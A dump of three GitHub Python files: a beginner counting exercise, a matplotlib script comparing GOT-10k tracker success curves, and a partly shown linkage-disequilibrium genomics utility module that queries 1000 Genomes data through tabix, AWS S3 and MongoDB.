{"seq_id":"36870402592","text":"n = int(input())\ncount = 0\nflag = False\nfor _ in range(n):\n    a = int(input())\n    if a < 5:\n        count += 1\n    if a == 10:\n        flag = True\nprint(count)\nif flag:\n    print('YES')\nelse:\n    print('NO')\n\n","repo_name":"blacksmithalex/Computer_Science_9","sub_path":"Kpolyakov/15.2/1021.py","file_name":"1021.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"29446403185","text":"from __future__ import absolute_import, division, print_function\r\n\r\nimport os\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib\r\nimport json\r\nimport sys\r\n\r\ndef plot_curves(report_dir,report_files1,report_files2, extension='.png'):\r\n\r\n    with open(report_file1) as f:\r\n        performance1 = json.load(f)\r\n    with open(report_file2) as f:\r\n        performance2 = json.load(f)\r\n\r\n    succ_file = os.path.join(report_dir, 'success_plot_GOT-10k' + extension)\r\n    key = 'overall'\r\n\r\n    # sort trackers by AO\r\n    tracker_names1 = list(performance1.keys())\r\n    aos1 = [t[key]['ao'] for t in performance1.values()]\r\n    inds1 = np.argsort(aos1)[::-1]\r\n    tracker_names1 = [tracker_names1[i] for i in inds1]\r\n    tracker_names2 = list(performance2.keys())\r\n    aos2 = [t[key]['ao'] for t in performance2.values()]\r\n    inds2 = np.argsort(aos2)[::-1]\r\n    tracker_names2 = [tracker_names2[i] for i in inds2]\r\n\r\n    # markers\r\n    markers = ['-', '--', '-.']\r\n    markers = [c + m for m in markers for c in [''] * 10]\r\n\r\n    # plot success curves\r\n    thr_iou = np.linspace(0, 1, 101)\r\n    fig, ax = plt.subplots()\r\n    lines = []\r\n    legends = []\r\n    for i, name in enumerate(tracker_names1):\r\n        line, = ax.plot(thr_iou,\r\n                        performance1[name][key]['succ_curve'],\r\n                        markers[i % len(markers)])\r\n        lines.append(line)\r\n        legends.append('%s: [%.3f]' % (\r\n            name, performance1[name][key]['ao']))\r\n\r\n    for i, name in enumerate(tracker_names2):\r\n        line, = ax.plot(thr_iou,\r\n                        performance2[name][key]['succ_curve'],\r\n                        markers[i % len(markers)])\r\n        lines.append(line)\r\n        legends.append('%s: [%.3f]' % (\r\n            name, performance2[name][key]['ao']))\r\n\r\n    matplotlib.rcParams.update({'font.size': 7.4})\r\n    legend = ax.legend(lines, legends, loc='lower left',\r\n                       bbox_to_anchor=(0., 0.))\r\n\r\n    matplotlib.rcParams.update({'font.size': 9})\r\n    ax.set(xlabel='Overlap threshold',\r\n           ylabel='Success rate',\r\n           xlim=(0, 1), ylim=(0, 1),\r\n           title='Success plots on GOT-10k')\r\n    ax.grid(True)\r\n    fig.tight_layout()\r\n\r\n    # control ratio\r\n    # ax.set_aspect('equal', 'box')\r\n\r\n    print('Saving success plots to', succ_file)\r\n    fig.savefig(succ_file,\r\n                bbox_extra_artists=(legend,),\r\n                bbox_inches='tight',\r\n                dpi=300)\r\n\r\nif __name__ == '__main__':\r\n    report_dir = \"E:\\PSUThirdSemester\\CSE586ComputerVision\\Term-Project1\\Pythonversion\\siamfc-pytorch-master/test_and_evaluation\\Evaluation_test\\REPORT_COMPARE\"\r\n    report_file1 = 'E:\\\\PSUThirdSemester\\\\CSE586ComputerVision\\\\Term-Project1\\\\Pythonversion\\\\siamfc-pytorch-master\\\\test_and_evaluation\\\\Evaluation_test\\\\reports\\\\GOT-10k\\\\SiamFC\\\\performance.json'\r\n    report_file2 = 'E:\\\\PSUThirdSemester\\\\CSE586ComputerVision\\\\Term-Project1\\\\Pythonversion\\\\siamfc-pytorch-master\\\\test_and_evaluation\\\\Evaluation_test\\\\reports_KF_CF\\\\GOT-10k\\\\SiamFC_KF_CF\\\\performance.json'\r\n    plot_curves(report_dir, report_file1, report_file2)","repo_name":"LIANGKE23/Siamese-FC-KF-CF","sub_path":"test_and_evaluation/Evaluation_test/drawfigures_GOT-10k.py","file_name":"drawfigures_GOT-10k.py","file_ext":"py","file_size_in_byte":3128,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"35"}
{"seq_id":"71953852581","text":"import json\nimport math\nimport re\nimport shutil\nimport subprocess\nfrom collections import OrderedDict\nfrom bson import json_util\nimport boto3\nimport botocore\nfrom pymongo import MongoClient\nfrom LDutilites import get_config\n\n# retrieve config\nconfig = get_config()\naws_info = config['aws_info']\npopulation_samples_dir = config['population_samples_dir']\ndata_dir = config['data_dir']\ntmp_dir = config['tmp_dir']\ngenotypes_dir = config['genotypes_dir']\n\ngenome_build_vars = {\n    \"vars\": ['grch37', 'grch38', 'grch38_high_coverage'],\n    \"grch37\": {\n        \"title\": \"GRCh37\",\n        \"title_hg\": \"hg19\",\n        \"chromosome\": \"chromosome_grch37\",\n        \"position\": \"position_grch37\",\n        \"gene_begin\": \"begin_grch37\",\n        \"gene_end\": \"end_grch37\",\n        \"refGene\": \"refGene_grch37\",\n        \"1000G_dir\": \"GRCh37\",\n        \"1000G_file\": \"ALL.chr%s.phase3_shapeit2_mvncall_integrated_v5.20130502.genotypes.vcf.gz\",\n        \"1000G_chr_prefix\": \"\",\n        \"ldassoc_example_file\": \"prostate_example_grch37.txt\"\n    },\n    \"grch38\": {\n        \"title\": \"GRCh38\",\n        \"title_hg\": \"hg38\",\n        \"chromosome\": \"chromosome_grch38\",\n        \"position\": \"position_grch38\",\n        \"gene_begin\": \"begin_grch38\",\n        \"gene_end\": \"end_grch38\",\n        \"refGene\": \"refGene_grch38\",\n        \"1000G_dir\": \"GRCh38\",\n        \"1000G_file\": \"ALL.chr%s.shapeit2_integrated_snvindels_v2a_27022019.GRCh38.phased.vcf.gz\",\n        \"1000G_chr_prefix\": \"\",\n        \"ldassoc_example_file\": \"prostate_example_grch38.txt\"\n    },\n    \"grch38_high_coverage\": {\n        \"title\": \"GRCh38 High Coverage\",\n        \"title_hg\": \"hg38_HC\",\n        \"chromosome\": \"chromosome_grch38\",\n        \"position\": \"position_grch38\",\n        \"gene_begin\": \"begin_grch38\",\n        \"gene_end\": \"end_grch38\",\n        \"refGene\": \"refGene_grch38\",\n        \"1000G_dir\": \"GRCh38_High_Coverage\",\n        \"1000G_file\": \"CCDG_14151_B01_GRM_WGS_2020-08-05_chr%s.filtered.shapeit2-duohmm-phased.vcf.gz\",\n        \"1000G_chr_prefix\": \"chr\",\n        \"ldassoc_example_file\": \"prostate_example_grch38.txt\"\n    }\n}\n\ndef checkS3File(aws_info, bucket, filePath):\n    try:\n        boto3.client('s3').head_object(Bucket=bucket, Key=filePath)\n        return True\n    except botocore.exceptions.ClientError as e:\n        raise Exception(f\"{bucket} {filePath} not found in AWS S3.\")\n        # return False\n\ndef retrieveAWSCredentials():\n    credentials = get_aws_credentials()\n    return ' '.join([ f\"export {k}={v};\" for k, v in credentials.items() ])\n\ndef connectMongoDBReadOnly(readonly=True, api=False, connect_db_server=False):\n    return MongoClient(\n        host = config['mongodb_host'],\n        port = config['mongodb_port'],\n        username = config['mongodb_username'],\n        password = config['mongodb_password'],\n        authSource = config['mongodb_database'],\n    )[config['mongodb_database']]\n\ndef get_aws_credentials():\n    frozen_credentials = boto3.Session().get_credentials().get_frozen_credentials()\n    credentials = {\n        \"AWS_ACCESS_KEY_ID\": frozen_credentials.access_key,\n        \"AWS_SECRET_ACCESS_KEY\": frozen_credentials.secret_key,\n        \"AWS_SESSION_TOKEN\": frozen_credentials.token,\n    }\n    return { k: v for k, v in credentials.items() if v is not None }\n\n\ndef get_command_output(*cmd, **subprocess_args):\n    output = subprocess.check_output(cmd, **subprocess_args)\n    return [line.decode(\"utf-8\") for line in output.splitlines()]\n\ndef tabix(*tabix_args, **subprocess_args):\n    tabix_path = shutil.which(\"tabix\")\n    cmd = [tabix_path, *tabix_args]\n    args = {\"env\": get_aws_credentials(), **subprocess_args}\n    return get_command_output(*cmd, **args)\n\ndef get_1000g_data(snp_pos, snp_coords, genome_build, query_dir):\n    vcf_filepath, tabix_coords, query_file = get_vcf_snp_params(snp_pos, snp_coords, genome_build)\n    checkS3File(aws_info, aws_info['bucket'], vcf_filepath)\n\n    # ensure tabix_coords is a list\n    tabix_coords = re.split('\\s+', tabix_coords.strip())\n    output = tabix(\"-fhD\", \"--separate-regions\", query_file, *tabix_coords, cwd=query_dir)\n    vcf = [line for line in output if \"END\" not in line]\n\n    return get_head(vcf)\n\ndef get_1000g_data_single(vcf_pos, snp_coord, genome_build, query_dir, request, write_output):\n    vcf_filepath, tabix_coords, query_file = get_vcf_snp_params([vcf_pos], [snp_coord], genome_build)\n    checkS3File(aws_info, aws_info['bucket'], vcf_filepath)\n\n    tabix_coords = re.split('\\s+', tabix_coords.strip())\n    output = tabix(\"-fhD\", query_file, *tabix_coords, cwd=query_dir)\n    vcf = [line for line in output if \"END\" not in line]\n\n    if write_output:\n        temp_filepath = tmp_dir + \"snp_no_dups_\" + request + \".vcf\"\n        with open(temp_filepath, \"w\") as f:\n            f.write(\"\\n\".join(vcf))\n            \n    return get_head(vcf)\n\ndef retrieveTabix1000GData(snp_pos, snp_coords, genome_build,query_dir):\n    vcf_filePath,tabix_coords,query_file = get_vcf_snp_params(snp_pos,snp_coords,genome_build)\n    checkS3File(aws_info, aws_info['bucket'], vcf_filePath)\n    export_s3_keys = retrieveAWSCredentials()\n    tabix_snps = export_s3_keys + \" cd {2}; tabix -fhD --separate-regions {0}{1} | grep -v -e END\".format(\n        query_file, tabix_coords, query_dir)\n    # print(\"tabix_snps\", tabix_snps)\n    vcf = [x.decode('utf-8') for x in subprocess.Popen(tabix_snps, shell=True, stdout=subprocess.PIPE).stdout.readlines()]\n    vcf,head = get_head(vcf)\n    return vcf,head\n\ndef retrieveTabix1000GDataSingle(vcf_pos,snp_coord,genome_build, query_dir,request,is_output):\n    vcf_filePath,tabix_coords,query_file=get_vcf_snp_params([vcf_pos],[snp_coord],genome_build)\n    checkS3File(aws_info, aws_info['bucket'], vcf_filePath)\n    export_s3_keys = retrieveAWSCredentials()\n    if is_output:\n        retrieve_command = \" cd {2}; tabix -fhD  {0}{1} | grep -v -e END > {3}\".format(query_file, tabix_coords, query_dir,tmp_dir + \"snp_no_dups_\" + request + \".vcf\")\n    else:\n        retrieve_command = \" cd {2}; tabix -fhD  {0}{1} | grep -v -e END\".format(query_file, tabix_coords, query_dir)\n\n    tabix_snps = export_s3_keys + retrieve_command\n    vcf = [x.decode('utf-8') for x in subprocess.Popen(tabix_snps, shell=True, stdout=subprocess.PIPE).stdout.readlines()]\n    if is_output:\n        vcf = open(tmp_dir+\"snp_no_dups_\"+request+\".vcf\").readlines()\n      \n    vcf,head = get_head(vcf)\n    return vcf,head\n\n# Query genomic coordinates\ndef get_rsnum(db, coord, genome_build):\n    temp_coord = coord.strip(\"chr\").split(\":\")\n    if len(temp_coord)<=1:\n        return \n    chro = temp_coord[0]\n    pos = temp_coord[1]\n    query_results = db.dbsnp.find({\"chromosome\": chro.upper() if chro == 'x' or chro == 'y' else str(chro), genome_build_vars[genome_build]['position']: str(pos)})\n    query_results_sanitized = json.loads(json_util.dumps(query_results))\n    return query_results_sanitized\n\ndef processCollapsedTranscript(genes_same_name):\n    chrom = genes_same_name[0][\"chrom\"]\n    txStart = genes_same_name[0][\"txStart\"]\n    txEnd = genes_same_name[0][\"txEnd\"]\n    exonStarts = genes_same_name[0][\"exonStarts\"].split(\",\")\n    exonEnds = genes_same_name[0][\"exonEnds\"].split(\",\")\n    name = genes_same_name[0][\"name\"]\n    name2 = genes_same_name[0][\"name2\"]\n    transcripts = [name] * len(list(filter(lambda x: x != \"\",genes_same_name[0][\"exonStarts\"].split(\",\"))))\n\n\n    for gene in genes_same_name[1:]:\n        txStart = gene['txStart'] if gene['txStart'] < txStart else txStart\n        txEnd = gene['txEnd'] if gene['txEnd'] > txEnd else txEnd\n        exonStarts = list(filter(lambda x: x != \"\", gene[\"exonStarts\"].split(\",\"))) + exonStarts\n        exonEnds = list(filter(lambda x: x != \"\", gene[\"exonEnds\"].split(\",\"))) + exonEnds\n        transcripts = transcripts + ([gene['name']] * len(list(filter(lambda x: x != \"\", gene[\"exonStarts\"].split(\",\")))))\n    return {\n        \"chrom\": chrom,\n        \"txStart\": txStart,\n        \"txEnd\": txEnd,\n        \"exonStarts\": \",\".join(exonStarts),\n        \"exonEnds\": \",\".join(exonEnds),\n        \"name2\": name2,\n        \"transcripts\": \",\".join(transcripts)\n    }\n\ndef getRefGene(db, filename, chromosome, begin, end, genome_build, collapseTranscript):\n    query_results = db[genome_build_vars[genome_build]['refGene']].find({\n        \"chrom\": \"chr\" + chromosome, \n        \"$or\": [\n            {\n                \"txStart\": {\"$lte\": int(begin)}, \n                \"txEnd\": {\"$gte\": int(end)}\n            }, \n            {\n                \"txStart\": {\"$gte\": int(begin)}, \n                \"txEnd\": {\"$lte\": int(end)}\n            },\n            {\n                \"txStart\": {\"$lte\": int(begin)}, \n                \"txEnd\": {\"$gte\": int(begin), \"$lte\": int(end)}\n            },\n            {\n                \"txStart\": {\"$gte\": int(begin), \"$lte\": int(end)}, \n                \"txEnd\": {\"$gte\": int(end)}\n            }\n        ]\n    })#.sort([(\"cdsEnd\",1),(\"txStart\",1)])\n    if collapseTranscript:\n        query_results_sanitized = json.loads(json_util.dumps(query_results)) \n        #print(\"$$$$$$\",query_results_sanitized)\n        group_by_gene_name = {}\n        for gene in query_results_sanitized:\n            # new gene name\n            if gene['name2'] not in group_by_gene_name:\n                group_by_gene_name[gene['name2']] = []\n                group_by_gene_name[gene['name2']].append(gene)\n            # same gene name as another's\n            else:\n                group_by_gene_name[gene['name2']].append(gene)\n        #print(json.dumps(group_by_gene_name, indent=4, sort_keys=False))\n        query_results_sanitized = []\n        for gene_name_key in group_by_gene_name.keys():\n            #print(\"#\",gene_name_key)\n            query_results_sanitized.append(processCollapsedTranscript(group_by_gene_name[gene_name_key]))\n        # print(json.dumps(query_results_sanitized, indent=4, sort_keys=True))\n    else:\n        query_results_sanitized = json.loads(json_util.dumps(query_results)) \n    #temp = query_results_sanitized.pop(0)\n    #query_results_sanitized.append(temp)\n    #print(query_results_sanitized)\n    with open(filename, \"w\") as f:\n        for x in query_results_sanitized:\n            f.write(json.dumps(x) + '\\n')\n    return query_results_sanitized\n\ndef getRecomb(db, filename, chromosome, begin, end, genome_build):\n    recomb_results = db.recomb.find({\n\t\tgenome_build_vars[genome_build]['chromosome']: str(chromosome), \n\t\tgenome_build_vars[genome_build]['position']: {\n            \"$gte\": int(begin), \n            \"$lte\": int(end)\n        }\n\t})\n    recomb_results_sanitized = json.loads(json_util.dumps(recomb_results)) \n\n    with open(filename, \"w\") as f:\n        for recomb_obj in recomb_results_sanitized:\n            f.write(json.dumps({\n                \"rate\": recomb_obj['rate'],\n                genome_build_vars[genome_build]['position']: recomb_obj[genome_build_vars[genome_build]['position']]\n            }) + '\\n')\n    return recomb_results_sanitized\n\ndef getEmail():\n    return  config['email_smtp_host']\n\n#################################################################\n#define common functions to Validate & retrieve SNP coordinates #\n#################################################################\ndef validsnp(snplst,genome_build,snp_limits):\n    # Validate genome build param\n    output = {}\n    if genome_build not in genome_build_vars['vars']:\n        output[\"error\"] = \"Invalid genome build. Please specify either \" + \", \".join(genome_build_vars['vars']) + \".\"\n        return(json.dumps(output, sort_keys=True, indent=2))\n    # print(snplst)\n    # Open Inputted SNPs list file\n    # if the input list is in a text file \n    if snplst:\n         # for ldexpress, the snplst is array, not file path\n        try:\n            snps_raw = open(snplst).readlines()\n        except:\n            try:\n                snps_raw = snplst.split(\"+\")\n            except: # for ldpair post input as array\n                snps_raw = snplst\n\n        if snp_limits:\n            if len(snps_raw) > snp_limits:\n                output[\"error\"] = \"Maximum variant list is \"+ str(snp_limits) +\"  RS numbers or coordinates. Your list contains \" + \\\n                    str(len(snps_raw))+\" entries.\"\n                return(json.dumps(output, sort_keys=True, indent=2))\n\n        # Remove duplicate RS numbers and cast to lower case\n        snps = []\n        for snp_raw in snps_raw:\n            if type(snp_raw) is str:\n                snp = snp_raw.lower().strip().split()\n                if snp not in snps:\n                    snps.append(snp)\n            else:\n                snps.append(snp_raw)\n        return snps\n    return \n\ndef get_coords(db, rsid):\n    rsid = rsid.strip(\"rs\")\n    query_results = db.dbsnp.find_one({\"id\": rsid})\n    query_results_sanitized = json.loads(json_util.dumps(query_results))\n    return query_results_sanitized\n\ndef get_coords_gene(gene_raw, db,genome_build):\n    gene=gene_raw.upper()\n    mongoResult = db.genes_name_coords.find_one({\"name\": gene})\n\n    #format mongo output\n    if mongoResult != None:\n        geneResult = [mongoResult[\"name\"], mongoResult[genome_build_vars[genome_build]['chromosome']], mongoResult[genome_build_vars[genome_build]['gene_begin']], mongoResult[genome_build_vars[genome_build]['gene_end']]]\n        return geneResult\n    else:\n        return None\n\n\n# def get_dbsnp_coord(db, chromosome, position):\n#     query_results = db.dbsnp.find_one({\"chromosome\": str(chromosome), genome_build_vars[genome_build]['position']: str(position)})\n#     query_results_sanitized = json.loads(json_util.dumps(query_results))\n#     return query_results_sanitized\n\n# Replace input genomic coordinates with variant ids (rsids)\ndef replace_coord_rsid(db, snp,genome_build,output):\n    if snp[0:2] == \"rs\":\n        return snp\n    else:\n        snp_info_lst = get_rsnum(db, snp, genome_build)\n        if snp_info_lst != None:\n            if len(snp_info_lst) > 1:\n                var_id = \"rs\" + snp_info_lst[0]['id']\n                ref_variants = []\n                for snp_info in snp_info_lst:\n                    if snp_info['id'] == snp_info['ref_id']:\n                        ref_variants.append(snp_info['id'])\n                if len(ref_variants) > 1:\n                    var_id = \"rs\" + ref_variants[0]\n                    if \"warning\" in output:\n                        output[\"warning\"] = output[\"warning\"] + \\\n                        \". Multiple rsIDs (\" + \", \".join([\"rs\" + ref_id for ref_id in ref_variants]) + \") map to genomic coordinates \" + snp\n                    else:\n                        output[\"warning\"] = \"Multiple rsIDs (\" + \", \".join([\"rs\" + ref_id for ref_id in ref_variants]) + \") map to genomic coordinates \" + snp\n                elif len(ref_variants) == 0 and len(snp_info_lst) > 1:\n                    var_id = \"rs\" + snp_info_lst[0]['id']\n                    if \"warning\" in output:\n                        output[\"warning\"] = output[\"warning\"] + \\\n                        \". Multiple rsIDs (\" + \", \".join([\"rs\" + ref_id for ref_id in ref_variants]) + \") map to genomic coordinates \" + snp\n                    else:\n                        output[\"warning\"] = \"Multiple rsIDs (\" + \", \".join([\"rs\" + ref_id for ref_id in ref_variants]) + \") map to genomic coordinates \" + snp\n                else:\n                    var_id = \"rs\" + ref_variants[0]\n                return var_id\n            elif len(snp_info_lst) == 1:\n                var_id = \"rs\" + snp_info_lst[0]['id']\n                return var_id\n            else:\n                return snp\n        else:\n            return snp\n    return snp\n\n\ndef replace_coords_rsid_list(db, snp_lst,genome_build,output):\n    new_snp_lst = []\n    for snp_raw_i in snp_lst:\n        if len(snp_raw_i) > 0:\n            snp = snp_raw_i[0]\n            var_id = replace_coord_rsid(db, snp, genome_build,output)\n            if snp != var_id:\n                new_snp_lst.append([var_id])\n            else:\n                new_snp_lst.append(snp_raw_i)\n    return new_snp_lst\n\n##############################################\n### common function to retrieve population ###\n##############################################\ndef get_population(pop, request,output):\n    # Select desired ancestral populations\n    pops = pop.split(\"+\")\n    pop_dirs = []\n    for pop_i in pops:\n        if pop_i in [\"ALL\", \"AFR\", \"AMR\", \"EAS\", \"EUR\", \"SAS\", \"ACB\", \"ASW\", \"BEB\", \"CDX\", \"CEU\", \"CHB\", \"CHS\", \"CLM\", \"ESN\", \"FIN\", \"GBR\", \"GIH\", \"GWD\", \"IBS\", \"ITU\", \"JPT\", \"KHV\", \"LWK\", \"MSL\", \"MXL\", \"PEL\", \"PJL\", \"PUR\", \"STU\", \"TSI\", \"YRI\"]:\n            pop_dirs.append(data_dir + population_samples_dir + pop_i + \".txt\")\n        else:\n            output[\"error\"] = pop_i + \" is not an ancestral population. Choose one of the following ancestral populations: AFR, AMR, EAS, EUR, or SAS; or one of the following sub-populations: ACB, ASW, BEB, CDX, CEU, CHB, CHS, CLM, ESN, FIN, GBR, GIH, GWD, IBS, ITU, JPT, KHV, LWK, MSL, MXL, PEL, PJL, PUR, STU, TSI, or YRI.\"\n            return(json.dumps(output, sort_keys=True, indent=2))\n\n    get_pops = \"cat \" + \" \".join(pop_dirs) + \" > \" + tmp_dir + \"pops_\" + request + \".txt\"\n    subprocess.call(get_pops, shell=True)\n\n    pop_list = open(tmp_dir + \"pops_\" + request + \".txt\").readlines()\n    ids = [i.strip() for i in pop_list]\n    pop_ids = list(set(ids))\n\n    return pop_ids\n \n #####################################################\n ##   Define function to correct indel alleles     ###\n #####################################################\ndef set_alleles(a1, a2):\n    if len(a1) == 1 and len(a2) == 1:\n        a1_n = a1\n        a2_n = a2\n    elif len(a1) == 1 and len(a2) > 1:\n        a1_n = \"-\"\n        a2_n = a2[1:]\n    elif len(a1) > 1 and len(a2) == 1:\n        a1_n = a1[1:]\n        a2_n = \"-\"\n    elif len(a1) > 1 and len(a2) > 1:\n        a1_n = a1[1:]\n        a2_n = a2[1:]\n    return(a1_n, a2_n)\n\n#################################################\n# get the genotype ###\n#################################################\ndef get_query_variant_c(snp_coord, pop_ids, request, genome_build, is_output,output={}):\n    queryVariantWarnings = []\n    #vcf1_pos: 60697654; snp_coord: ['rs4672393', '2', '60697654']\n    tmp_coord = [str(x) for x in snp_coord]\n    tabix_query_snp_out,head = get_1000g_data_single(str(snp_coord[2]),tmp_coord, genome_build, data_dir + genotypes_dir + genome_build_vars[genome_build]['1000G_dir'],request, is_output)\n    # Validate error\n    if len(tabix_query_snp_out) == 0:\n        # print(\"ERROR\", \"len(tabix_query_snp_out) == 0\")\n        # handle error: snp + \" is not in 1000G reference panel.\"\n        queryVariantWarnings.append([snp_coord[0], \"NA\", \"Variant is not in 1000G reference panel.\"])\n        output[\"error\"] = snp_coord[0]+\" Variant is not in 1000G reference panel.\" + str(output[\"error\"] if \"error\" in output else \"\")\n        #output[\"warning\"] = snp_coord[0]+\" Variant is not in 1000G reference panel.\" + str(output[\"warning\"] if \"warning\" in output else \"\")\n        if is_output:\n            subprocess.call(\"rm \" + tmp_dir + \"pops_\" + request + \".txt\", shell=True)\n            subprocess.call(\"rm \" + tmp_dir + \"*\" + request + \"*.vcf\", shell=True)\n        return (None, None, queryVariantWarnings)\n    elif len(tabix_query_snp_out) > 1:\n        geno = []\n        for i in range(len(tabix_query_snp_out)):\n            # if tabix_query_snp_out[i].strip().split()[2] == snp_coord[0]:\n            geno = tabix_query_snp_out[i].strip().split()\n            geno[0] = geno[0].lstrip('chr')\n            #skip the geno did not on the same chromesome??\n            #if not (geno[0] == snp_coord[1] and geno[1] == snp_coord[2]):\n            #        geno = []\n        if geno == []:\n            # print(\"ERROR\", \"geno == []\")\n            # handle error: snp + \" is not in 1000G reference panel.\"\n            queryVariantWarnings.append([snp_coord[0], \"NA\", \"Variant is not in 1000G reference panel.\"])\n            output[\"error\"] = \"Variant is not in 1000G reference panel.\" + str(output[\"error\"] if \"error\" in output else \"\")\n            #output[\"warning\"] = snp_coord[0]+\" Variant is not in 1000G reference panel.\" + str(output[\"warning\"] if \"warning\" in output else \"\")\n            if is_output:\n                subprocess.call(\"rm \" + tmp_dir + \"pops_\" + request + \".txt\", shell=True)\n                subprocess.call(\"rm \" + tmp_dir + \"*\" + request + \"*.vcf\", shell=True)\n            return (None,None, queryVariantWarnings)\n    else:\n        geno = tabix_query_snp_out[0].strip().split()\n        geno[0] = geno[0].lstrip('chr')\n    if geno[2] != snp_coord[0] and \"rs\" in geno[2]:\n            queryVariantWarnings.append([snp_coord[0], geno[2], \"Genomic position does not match RS number at 1000G position (chr\" + geno[0] + \":\" + geno[1] + \" = \" + geno[2] + \").\"])\n            output[\"warning\"] = \"Genomic position does not match RS number at 1000G position (chr\" + geno[0] + \":\" + geno[1] + \" = \" + geno[2] + \").\" + str(output[\"warning\"] if \"warning\" in output else \"\")\n\n    if \",\" in geno[3] or \",\" in geno[4]:\n        #print('handle error: snp + \" is not a biallelic variant.\"')\n        queryVariantWarnings.append([snp_coord[0], \"NA\", \"Variant is not a biallelic.\"])\n        output[\"error\"]= snp_coord[0] + \" variant is not a biallelic.\" + str(output[\"warning\"] if \"warning\" in output else \"\")\n  \n    index = []\n    for i in range(9, len(head)):\n        if head[i] in pop_ids:\n            index.append(i)\n\n    genotypes = {\"0\": 0, \"1\": 0}\n    for i in index:\n        sub_geno = geno[i].split(\"|\")\n        for j in sub_geno:\n            if j in genotypes:\n                genotypes[j] += 1\n            else:\n                genotypes[j] = 1\n\n    if genotypes[\"0\"] == 0 or genotypes[\"1\"] == 0:\n        # print('handle error: snp + \" is monoallelic in the \" + pop + \" population.\"')\n        queryVariantWarnings.append([snp_coord[0], \"NA\", \"Variant is monoallelic in the chosen population(s).\"])\n     \n    return(geno,head,queryVariantWarnings)\n\n###################################################\n######## parse vcf using --separate-regions   #####\n###################################################\n#def parse_vcf(vcf,snp_coords,output,genome_build,is_multi):\ndef parse_vcf(vcf,snp_coords,output,genome_build,ifsorted):\n    delimiter = \"#\"\n    snp_lists = str('**'.join(vcf)).split(delimiter)\n    snp_dict = {}\n    snp_rs_dict = {}\n    missing_rs = []    \n    snp_found_list = [] \n    #print(vcf)\n    #print(snp_lists)\n    for snp in snp_lists[1:]:\n        snp_tuple = snp.split(\"**\")\n        snp_key = snp_tuple[0].split(\"-\")[-1].strip()\n        vcf_list = [] \n        #print(snp_tuple)\n        match_v = ''\n        for v in snp_tuple[1:]:#choose the matched one for dup; if no matched, choose first\n            if len(v) > 0:\n                match_v = v\n                geno = v.strip().split()\n                if geno[1] == snp_key:\n                    match_v = v\n                # if is_multi:\n                #     vcf_list.append(v)\n                #     snp_found_list.append(snp_key)  \n                # else:\n                #     match_v = v\n                #     geno = v.strip().split()\n                #     if geno[1] == snp_key:\n                #         match_v = v\n        if len(match_v) > 0:\n            vcf_list.append(match_v)\n            snp_found_list.append(snp_key)        \n        #create snp_key as chr7:pos_rs4\n        snp_dict[snp_key] = vcf_list\n    \n    missing_rs_snp = []\n    for snp_coord in snp_coords:\n        if snp_coord[-1] not in snp_found_list:\n            missing_rs.append(snp_coord[0])\n            missing_rs_snp.append([snp_coord[0],\"chr\"+snp_coord[1]+\":\"+snp_coord[2]])\n        else:\n            s_key = \"chr\"+snp_coord[1]+\":\"+snp_coord[2]+\"_\"+snp_coord[0]\n            snp_rs_dict[s_key] = snp_dict[snp_coord[2]]      \n    if output != None:\n        if len(missing_rs) == len(snp_coords):\n            output[\"error\"] = \"Input variant list does not contain any valid RS numbers or coordinates. \" + str(output[\"warning\"] if \"warning\" in output else \"\")\n            return \"\",\"\",output\n        if len(missing_rs) > 0:\n            output[\"warning\"] = \"Query variant \" + \" \".join(missing_rs) + \" is missing from 1000G (\" + genome_build_vars[genome_build]['title'] + \") data. \" + str(output[\"warning\"] if \"warning\" in output else \"\")\n    \n    del snp_dict\n       \n    sorted_snp_rs = snp_rs_dict\n    if ifsorted:\n        sorted_snp_rs = OrderedDict(sorted(snp_rs_dict.items(),key=customsort))\n\n    #print(sorted_snp_rs)\n    return sorted_snp_rs,missing_rs_snp,output\n\ndef customsort(key_snp1):\n    k = key_snp1[0].split(\"_\")[0].split(':')[1]\n    k = int(k)\n    return k\n\ndef get_vcf_snp_params(snp_pos,snp_coords,genome_build):\n     # Sort coordinates and make tabix formatted coordinates\n    snp_pos_int = [int(i) for i in snp_pos]\n    snp_pos_int.sort()\n    tabix_coords=\"\"\n    for i in range(len(snp_pos_int)):\n        snp_coord_str = [genome_build_vars[genome_build]['1000G_chr_prefix'] + snp_coords[i][1] + \":\" + snp_coords[i][2] + \"-\" + snp_coords[i][2]]\n        tabix_coords = tabix_coords+\" \" + \" \".join(snp_coord_str)\n    # # Extract 1000 Genomes phased genotypes\n    vcf_filePath = \"%s/%s%s/%s\" % (aws_info['data_subfolder'], genotypes_dir, genome_build_vars[genome_build]['1000G_dir'], genome_build_vars[genome_build]['1000G_file'] % (snp_coords[0][1]))\n    vcf_query_snp_file = \"s3://%s/%s\" % (aws_info['bucket'], vcf_filePath)\n    #print(\"vcf_filePath\",vcf_filePath,\"snp_coords\",snp_coords)\n    return vcf_filePath,tabix_coords,vcf_query_snp_file\n\ndef LD_calcs(hap, allele_n):\n    # Extract haplotypes\n    A = hap[\"00\"]\n    B = hap[\"01\"]\n    C = hap[\"10\"]\n    D = hap[\"11\"]\n    N = A + B + C + D\n    delta = float(A*D-B*C)\n    Ms = float((A+C)*(B+D)*(A+B)*(C+D))\n    if Ms != 0:\n        # D prime\n        if delta < 0:\n            D_prime = abs(delta/min((A+C)*(A+B), (B+D)*(C+D)))\n        else:\n            D_prime = abs(delta/min((A+C)*(C+D), (A+B)*(B+D)))\n        # R2\n        r2 = (delta**2)/Ms\n        # Non-effect and Effect Alleles and their Allele Frequencies\n        allele1 = str(allele_n[\"0\"])\n        allele1_freq = str(round(float(A + C) / N, 3)) if N > float(A + C) else \"NA\"\n\n        allele2 = str(allele_n[\"1\"])\n        allele2_freq = str(round(float(B + D) / N, 3)) if N > float(B + D) else \"NA\"\n        return [r2, D_prime, \"=\".join([allele1, allele1_freq]), \"=\".join([allele2, allele2_freq])]\n\ndef get_dbsnp_coord(db, chromosome, position,genome_build):\n    query_results = db.dbsnp.find_one({\"chromosome\": str(chromosome), genome_build_vars[genome_build]['position']: str(position)})\n    query_results_sanitized = json.loads(json_util.dumps(query_results))\n    return query_results_sanitized\n\ndef check_same_chromosome(snp_coords,output):\n    # Check SNPs are all on the same chromosome\n    for i in range(len(snp_coords)):\n        if snp_coords[0][1] != snp_coords[i][1]:\n            output[\"error\"] = \"Not all input variants are on the same chromosome: \"+snp_coords[i-1][0]+\"=chr\" + \\\n                